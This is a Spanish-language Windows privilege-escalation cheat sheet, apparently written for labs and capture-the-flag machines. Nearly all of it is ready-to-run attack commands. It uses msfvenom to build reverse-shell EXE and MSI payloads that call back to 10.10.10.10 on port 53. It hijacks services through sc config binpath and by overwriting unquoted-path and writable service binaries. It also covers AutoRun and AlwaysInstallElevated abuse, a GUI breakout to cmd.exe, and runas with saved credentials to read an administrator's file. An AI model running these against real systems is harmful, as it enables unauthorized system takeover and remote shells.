Windows Privesc

Checklist - Escalada de privilegios en Windows

Windows Kernel Exploits

Generación de Reverse Shell ejecutable

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe

Permisos sobre servicios

#Enumeración de permisos de usuario sobre un servicio
.\accesschk.exe /accepteula -uwcqv <USUARIO> <SERVICIO> 
#Si tiene habilitada la opción “SERVICE_CHANGE_CONFIG” se puede cambiar la configuración del servicio con dicho usuario
sc config <SERVICIO> binpath= "\"C:\<NUEVO_PATH>"" #Cambia el path para el servicio
net start <SERVICIO> #Inicia el servicio

Ruta absoluta del servicio sin entrecomillar (Unquoted Service Path)

sc qc <SERVICIO>
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
net start < SERVICIO>

Ejecutables de servicios

sc qc <SERVICIO>
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
net start < SERVICIO>

AutoRuns

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run #Muestra el registro de ejecutables AutoRun
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe”
#Para que funcione el exploit la máquina tiene que reiniciarse y alguien tiene que iniciar sesión, si es un admin mejor :)

AlwayInstallElevated

#Muestra el registro para los valores de AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
#Creamos un instalador con msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
#Nos ponemos a la escucha con netcat y ejecutamos el instalador
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Aplicaciones inseguras con GUI

#Comprobar usuario que está ejecutando la aplicación
tasklist /V | findstr <Programa>.exe
#Si es posible, abrir un cmd.exe desde la GUI para obtener sesión como dicho usuario
#Por ejemplo: introducir “file://c:/windows/system32/cmd.exe” en la barra de navegación

Impersonation privileges

Potatoes

RunAs

cmdkey /list
C:\Windows\System32\runas.exe /user: <DOMAIN>\<USER> /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt" #Ejemplo para leer la flag de root y almacenarla en otra carpeta
#RunAs es equivalente a “sudo” en Linux

Última actualización